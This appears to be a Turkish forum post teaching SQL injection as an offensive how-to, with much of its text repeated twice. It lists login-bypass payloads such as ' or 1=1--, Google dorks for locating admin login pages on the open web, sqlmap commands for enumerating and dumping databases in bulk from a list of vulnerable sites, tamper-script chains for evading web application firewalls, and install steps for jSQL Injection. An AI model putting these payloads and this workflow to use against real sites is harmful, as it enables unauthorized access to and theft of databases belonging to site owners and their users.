herkese selam öncelikle ben sancak ofansif ve savunma kulübü üyesi ozan bu günkü görevim sql injection
veri tabanında seçmek için kulanılır. en basit kullanımı ise
SELECT columns_name FROM table name
SELECT * FROM table name ( * ) işareti konulunca kolonları ayırt etmeden hepsini sunar önümüze
WHERE
veri tabanında istenen veriyi belirli kriterlere göre seçmemizi sağlar. en basit kkullanımı ise :
SELECT column_name * FROM table_name WHERE column_name operator value
AND VE OR
birden fazla koşul dayalı seçim yapmayı sağlar. en basit kullanımı ise :
SELECT * FROM exampletable WHERE isim='ofansif' AND isim='defans' (iki koşulunda olması grekiyor )
SELECT * FROM exampletable WHERE isim='ofansif' OR isim='defans' (iki koşuludan biri olması grekiyor )
SELECT * FROM isim WHERE user='kullanıcıadı' AND password='şifre'
şimdi isim adındaki tabloda kullanıcıadı ve şifre eşleşirse giriş yapılır eşleşmezse başka sayfaya yönlendirecek yada hata verecek
ozaman sürekli doğru olacak bir kod bulmamız lazım oda :
SELECT * FROM isim WHERE user = ' ' OR ' ' = ' ' AND password ' ' OR ' ' = ' '
şimdi burda kullanıcıadı boş ve şifresi boş olanları alacak fakat ' = ' koyduyğumuz için bir işlem yapacak ve bunun sonucu 1 olacak dolayısıyla tablodaki 1. kişi ile giriş yapmış olacaz
eğer bu olmaz ise diğer login için kullanılan bypassları deneyebilirirz :
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
bu giriş siteleri bulmak için ise bu dorkları kullanabiliriz
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx
bunları en kolay nasıl yaparız ?
tabikide sqlmap ile
sqlmap kali linnux içinde hazır gelmekte komut satırına sqlmap -h yazarak parametreleri görebiliriz
temel kullanımı ise “sqlmap -u “http://orneksite.com/veritabani” –dbs” yazarak başlayabiliriz
ve çıkan sonuç bunun gibi olacak
evet veri tabanımıza ulaştık şimdi ise tablolara bakalım
evet tabloları da bulduk
sırada colonlar var
colonların sonucu
evet her şeyi bulduk kaldı son bir işlem tüm bilgileri toplamak onun içinde
-dbs = Var olan veri tabanlarını talep et.
-dbms = Veri tabanı yönetim sistemini biliyorsan bu parametreyle belirt.
-D = Hangi veri tabanına erişmek istediğini belirt.
-tables = Tabloların tamamını talep et.
-T = Hangi tabloya erişmek istediğini belirt.
-columns = Tüm kolon isimlerini talep et.
-C = İstediğin kolon isimlerini belirt.
-dump = İçeriği talep et.
sürekli tek tek mi yapacaz hayır burda da ' -m ' parametresi giriyor sorgumuz ise şöyle değişiyor
sqlmap -m sqlacikli_liste.txt --dbs
böylece sqlmap temeli hallettik
fakat gerçekte WAF dediğimiz güvenlik duvarları var bunu da atlatırız nasıl mı ?
tamper scriptleri ile halledecez
Genel tamper kullanım örneği = tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MySQL = tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
MsSQL= tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
sıradaki aracımız ise
indirmek için
GitHub - ron190/jsql-injection: jSQL Injection is a Java application for automatic SQL database injection.
kurulumu :
komut satırına : apt-get -f install jsql
herşeyi öğrendik siteleri nasıl bulacaz ?
google dork sayesinde
ilk konumdu atladığım unuttuğum bir yer varsa söylerseniz ona göre düzenlerim tekrar
SQL NEDİR ?
SQL (Structured Query language) veritabanına erişim ve yönetim için kullanılır. Veritabanlarına kayıt ekleme silme değiştirme gibi işlemler yapılır.NEDİR SQL İNJECTİON ?
web uygulamalarında kodlanma sırasındaki hatalar ve dikkatsizliklerdir. Basit gibi gözüksede bir sitenin sonu olabilir.TEMEL SQL KOMUT DİZİNLERİNE BAKALIM
SELECT veri tabanında seçmek için kulanılır. en basit kullanımı ise
SELECT columns_name FROM table name
SELECT * FROM table name ( * ) işareti konulunca kolonları ayırt etmeden hepsini sunar önümüze
WHERE
veri tabanında istenen veriyi belirli kriterlere göre seçmemizi sağlar. en basit kkullanımı ise :
SELECT column_name * FROM table_name WHERE column_name operator value
AND VE OR
birden fazla koşul dayalı seçim yapmayı sağlar. en basit kullanımı ise :
SELECT * FROM exampletable WHERE isim='ofansif' AND isim='defans' (iki koşulunda olması grekiyor )
SELECT * FROM exampletable WHERE isim='ofansif' OR isim='defans' (iki koşuludan biri olması grekiyor )
SQLin temeli attık şimdi de sömürelim
sql de ahata almak için (') tek tırnak kullanılır örnek:SELECT * FROM isim WHERE user='kullanıcıadı' AND password='şifre'
şimdi isim adındaki tabloda kullanıcıadı ve şifre eşleşirse giriş yapılır eşleşmezse başka sayfaya yönlendirecek yada hata verecek
ozaman sürekli doğru olacak bir kod bulmamız lazım oda :
SELECT * FROM isim WHERE user = ' ' OR ' ' = ' ' AND password ' ' OR ' ' = ' '
şimdi burda kullanıcıadı boş ve şifresi boş olanları alacak fakat ' = ' koyduyğumuz için bir işlem yapacak ve bunun sonucu 1 olacak dolayısıyla tablodaki 1. kişi ile giriş yapmış olacaz
eğer bu olmaz ise diğer login için kullanılan bypassları deneyebilirirz :
LOGİN BYPASS
''Or'='Or''anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
bu giriş siteleri bulmak için ise bu dorkları kullanabiliriz
GOOGLE DORKLARI
inurl:adminPanel/index.phpinurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx
bunları en kolay nasıl yaparız ?
tabikide sqlmap ile
sqlmap kali linnux içinde hazır gelmekte komut satırına sqlmap -h yazarak parametreleri görebiliriz
temel kullanımı ise “sqlmap -u “http://orneksite.com/veritabani” –dbs” yazarak başlayabiliriz
ve çıkan sonuç bunun gibi olacak
evet veri tabanımıza ulaştık şimdi ise tablolara bakalım
evet tabloları da bulduk
sırada colonlar var
colonların sonucu
evet her şeyi bulduk kaldı son bir işlem tüm bilgileri toplamak onun içinde
-dbs = Var olan veri tabanlarını talep et.
-dbms = Veri tabanı yönetim sistemini biliyorsan bu parametreyle belirt.
-D = Hangi veri tabanına erişmek istediğini belirt.
-tables = Tabloların tamamını talep et.
-T = Hangi tabloya erişmek istediğini belirt.
-columns = Tüm kolon isimlerini talep et.
-C = İstediğin kolon isimlerini belirt.
-dump = İçeriği talep et.
sürekli tek tek mi yapacaz hayır burda da ' -m ' parametresi giriyor sorgumuz ise şöyle değişiyor
sqlmap -m sqlacikli_liste.txt --dbs
böylece sqlmap temeli hallettik
fakat gerçekte WAF dediğimiz güvenlik duvarları var bunu da atlatırız nasıl mı ?
tamper scriptleri ile halledecez
Genel tamper kullanım örneği = tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MySQL = tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
MsSQL= tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
sıradaki aracımız ise
jSQL Injection
bu aracımız ise sqlmapın sade hali fakat aynı işleve sahipindirmek için
GitHub - ron190/jsql-injection: jSQL Injection is a Java application for automatic SQL database injection.
kurulumu :
komut satırına : apt-get -f install jsql
herşeyi öğrendik siteleri nasıl bulacaz ?
google dork sayesinde
google dork
inurl:- Sorgunuza [inurl:] eklerseniz, Google sonuçları URL'de bu kelimeyi içeren belgelerle sınırlar. Örneğin, [inurl:google search] URL'lerinde "google" kelimesini geçen belgeleri ve belgenin herhangi bir yerinde (url veya değil) "search" kelimesini geçen belgeleri döndürür. Sorgunuzdaki her kelimenin önüne "inurl:" koymak, sorgunuzun önüne "allinurl:" koymaya eşdeğerdir: [inurl:google inurl:search], [allinurl: google search] ile aynıdır.
- Bir sorguyu [allinurl:] ile başlatırsanız, Google sonuçları URL'de tüm sorgu sözcüklerini içerenlerle sınırlar. Örneğin, [allinurl: google search] yalnızca URL'de hem "google" hem de "search" bulunan belgeleri döndürür. [allinurl:]'nin URL bileşenleri üzerinde değil, sözcükler üzerinde çalıştığını unutmayın. Özellikle noktalama işaretlerini yok sayar. Bu nedenle, [allinurl: foo/bar] sonuçları URL'de "foo" ve "bar" sözcüklerini içeren sayfayla sınırlar, ancak bunların URL içinde eğik çizgiyle ayrılmasını, bitişik olmasını veya belirli sözcük sırasında olmasını gerektirmez. Şu anda bu kısıtlamaları uygulamanın bir yolu yoktur.
- Sorgunuza [intitle:] eklerseniz, Google sonuçları başlıkta bu kelimeyi içeren belgelerle sınırlar. Örneğin, [intitle:google search] başlığında “google” kelimesi geçen ve belgenin herhangi bir yerinde (başlıkta veya başlıkta değil) “search” kelimesi geçen belgeleri döndürür. Sorgunuzdaki her kelimenin önüne [intitle:] koymak, sorgunuzun önüne [allintitle:] koymaya eşdeğerdir: [intitle:google intitle:search], [allintitle: google search] ile aynıdır.
- Bir sorguyu [allintitle:] ile başlatırsanız, Google sonuçları başlıkta tüm sorgu sözcüklerini içerenlerle sınırlar. Örneğin, [allintitle: google search] yalnızca başlıkta hem “google” hem de “search” bulunan belgeleri döndürür.
- Sorgunuza [site:] eklerseniz, Google sonuçları belirtilen etki alanındaki web siteleriyle sınırlar. Örneğin, [help site:www.google.com], www.google.com içindeki yardımla ilgili sayfaları bulur. [help site:com], .com URL'leri içindeki yardımla ilgili sayfaları bulur. "site:" ile etki alanı arasında boşluk olamayacağını unutmayın.
- Sorguyu [stocks:] operatörüyle başlatırsanız, Google sorgu terimlerinin geri kalanını hisse senedi sembolü olarak ele alır ve bu semboller için hisse senedi bilgilerini gösteren bir sayfaya bağlantı verir. Örneğin, [stocks: intc yhoo] Intel ve Yahoo hakkında bilgi gösterir. (Şirket adını değil, hisse senedi sembollerini yazmanız gerektiğini unutmayın.)
- [info:www.google.com] Google ana sayfası hakkında bilgi gösterecektir.
ilk konumdu atladığım unuttuğum bir yer varsa söylerseniz ona göre düzenlerim tekrar
Son düzenleme:







